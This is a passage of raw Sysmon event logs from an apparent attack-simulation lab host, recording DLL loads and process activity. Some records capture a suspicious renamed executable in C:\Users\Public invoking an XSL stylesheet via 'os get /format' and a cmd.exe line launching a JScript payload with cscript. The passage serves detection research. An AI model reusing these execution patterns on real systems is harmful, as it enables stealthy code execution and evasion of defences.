Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\ConhostV2.dll10.0.14393.4583 (rs1_release.210730-1850)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=2FB0A16E47FFDD4CBB3E80E58ECD8AE1,SHA256=943949336C9A3707F0A9FFD76A6D20278B6EE72513E8D193D04B27133C36B7C6,IMPHASH=49A59B06FE5B10F21E36B588430BFDB3trueMicrosoft WindowsValid 734700x800000000000000049932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 10341000x800000000000000049931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 734700x800000000000000049930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-5A0B-00000000F001}2344C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe10.0.14393.0 (rs1_release.160715-1616)Console Window HostMicrosoft® Windows® Operating SystemMicrosoft CorporationCONHOST.EXEMD5=D752C96401E2540A443C599154FC6FA9,SHA256=046F7A1B4DE67562547ED9A180A72F481FC41E803DE49A96D7D7C731964D53A0,IMPHASH=2C980A4DA7C717CC670CB9E1D2C4D733trueMicrosoft WindowsValid 734700x800000000000000049926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37AtrueMicrosoft WindowsValid 10341000x800000000000000049922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-570B-00000000F001}48085524C:\Users\Public\fewuhofe.exe{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+8ba90|C:\Windows\System32\SHELL32.dll+3cd3f|C:\Windows\System32\SHELL32.dll+3cbcc|C:\Windows\System32\SHELL32.dll+dcb6e|C:\Windows\System32\shcore.dll+33fad|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.800{7BD73061-728E-613B-590B-00000000F001}1948C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.Exe"C:\Windows\System32\cmd.exe" /c start /B cscript //e:jscript ibivigi.txtC:\Users\Public\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Users\Public\fewuhofe.exe os get /format:"yqjeru.xsl" 734700x800000000000000049915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.794{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\edputil.dll10.0.14393.2608 (rs1_release.181024-1742)EDP utilMicrosoft® Windows® Operating SystemMicrosoft CorporationEDPUTIL.DLLMD5=75AC86B00CE4C64B02B105A55CA35628,SHA256=DB31A2345E3BB8DC79BFB4CC29615E3B8B7638AE80BFEC45FA57852669A592AE,IMPHASH=52045AC79DBE663F06AB7C9717524D40trueMicrosoft WindowsValid 734700x800000000000000049914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.778{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\scrrun.dll5.812.10240.16384Microsoft ® Script RuntimeMicrosoft ® Script RuntimeMicrosoft Corporationscrrun.dllMD5=054FEAD31C0C7971121014D429A5A7D0,SHA256=9CD76701ED1693C191C1617560BC8C5F676A03A420E0BD596FF5388CA1AF58B6,IMPHASH=11A9E7FA354F7EB56AAC978F31CD0624trueMicrosoft WindowsValid 734700x800000000000000049913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.778{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\actxprxy.dll10.0.14393.3808 (rs1_release.200707-2105)ActiveX Interface Marshaling LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationActXPrxy.dllMD5=087C47C19BBFCB9F4932C03C0189E86B,SHA256=9BEE35FBFA2E595372D82E8858BE46CE7717E0399996960398BC238F4D0E5207,IMPHASH=24160898971C9C6FED5AE429E3AAD3DAtrueMicrosoft WindowsValid 734700x800000000000000049912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.778{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000049911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.778{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\sxs.dll10.0.14393.4169 (rs1_release.210107-1130)Fusion 2.5Microsoft® Windows® Operating SystemMicrosoft CorporationSXS.DLLMD5=54FB18CA661D074CBB60D5A58D40C8D3,SHA256=A2BD6160222A216F8A6830C1273662F8AE88F53D2CE6DA5893FF70D146A0A2B0,IMPHASH=FED414075FF3F23F21C898B1860393B4trueMicrosoft WindowsValid 734700x800000000000000049910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.762{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\wshom.ocx5.812.10240.16384Windows Script Host Runtime LibraryMicrosoft ® Windows Script Host Runtime LibraryMicrosoft Corporationwshom.ocxMD5=2CCC0321D28C4EDC1C256972A34AEE59,SHA256=A6A527A6A7CE62ABDFD2348C26E9D5D87650D66BAC0AA998125335615DE220B3,IMPHASH=6547E005662808D679CDDA69634B7CB7trueMicrosoft WindowsValid 734700x800000000000000049909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.778{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000049908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.747{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\jscript.dll5.812.10240.16384Microsoft ® JScriptMicrosoft ® JScriptMicrosoft Corporationjscript.dllMD5=017AA3E55F15439E32C6F461E5686CCD,SHA256=8117D34017F6F90BC9DC68E3F79346E62E389AFE9E154FF0FCB99FB921845486,IMPHASH=66F780999859D4145C172C62A9E9E6ABtrueMicrosoft WindowsValid 734700x800000000000000049907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.762{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000049906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.762{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000049905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.762{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000049904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.762{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000049903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.762{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\mpr.dll10.0.14393.2879 (rs1_release_inmarket.190313-1855)Multiple Provider Router DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmpr.dllMD5=0E56DB60C434D51769F2DAC48B9AA686,SHA256=3F9AED98B1B7F6A59C219F622FD91C7FD20BFE280935F5334920A02ECCAE7ED6,IMPHASH=46ADE2B067E724C7163A0B1902FEF225trueMicrosoft WindowsValid 734700x800000000000000049902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.762{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000049901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.747{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\amsi.dll10.0.14393.4169 (rs1_release.210107-1130)Anti-Malware Scan InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationamsi.dllMD5=89C79675F7FEDEB6373C9D2045F7B7C5,SHA256=5B40293CF56D44377A91BF68CF2113F523B61185F02DEEAB621BE51F0ADA6131,IMPHASH=6FEE5278940E0EA644D3641165D77874trueMicrosoft WindowsValid 734700x800000000000000049900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\wbem\xml\wmi2xml.dll10.0.14393.0 (rs1_release.160715-1616)WMI XML ConvertorMicrosoft® Windows® Operating SystemMicrosoft Corporationwmi2xml.DLLMD5=DF861EE7A64473D2413A7318D8B97F6F,SHA256=C7789C6A4BEC11838ECB46C0B411172A0E179AE411B1C11BF073A5253FB5674B,IMPHASH=DD4BAC5CE118A7248D6BC4D5D21A0AECtrueMicrosoft WindowsValid 734700x800000000000000049899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\schedcli.dll10.0.14393.0 (rs1_release.160715-1616)Scheduler Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSCHEDCLI.DLLMD5=9565E2180ACA12EC2DAAF237568BB7FF,SHA256=450DEFF97BA11F320372CADABDFEE221D4821652DB14CBE2B2AC22DE6F212C2D,IMPHASH=A26C66511F0E88DB089794819D0C920BtrueMicrosoft WindowsValid 734700x800000000000000049898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\samcli.dll10.0.14393.0 (rs1_release.160715-1616)Security Accounts Manager Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSAMCLI.DLLMD5=AEF1161232D111EEA93F64B203F131AE,SHA256=C1DA3DF389A414AAA26FEEEA28F35AAC202CE3A5CC3AF26B7C0C14EBBC2157F9,IMPHASH=D27BDFF964B5FDB8A5E9B0599333826BtrueMicrosoft WindowsValid 734700x800000000000000049897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\coml2.dll10.0.14393.2608 (rs1_release.181024-1742)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOML2.DLLMD5=F51CCB7A95B83C1327390BF672AFD328,SHA256=850E50B525EF51374B880146E26464D10A8B1DAE1E0307F7B27DC7322824F2BF,IMPHASH=B74E4EE6BBCE405BE73914241C9AF2C8trueMicrosoft WindowsValid 734700x800000000000000049896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.716{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000049895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\cscapi.dll10.0.14393.0 (rs1_release.160715-1616)Offline Files Win32 APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcscapi.dllMD5=6433F8201BFB449DC6B47F6999C2F164,SHA256=06729F1E0A0596620B48B6DC4A2CC9CC5FE55B17BD488C71F7F15AA4262C8C14,IMPHASH=50E2F760F0B39DC72CAD6892FEDF2F27trueMicrosoft WindowsValid 734700x800000000000000049894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\dsrole.dll10.0.14393.0 (rs1_release.160715-1616)DS Setup Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationDSROLE.DLLMD5=2A319EC8DF0FB5C46CF311B9D2B65B1D,SHA256=62B8900EFDF4B30E54E11232A8DA95DBF066DAEFD364A66EB99ADC028A3798F7,IMPHASH=E4AC0A0BD42B7356347D6A1BE150F6A6trueMicrosoft WindowsValid 734700x800000000000000049893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000049892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.731{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\logoncli.dll10.0.14393.3808 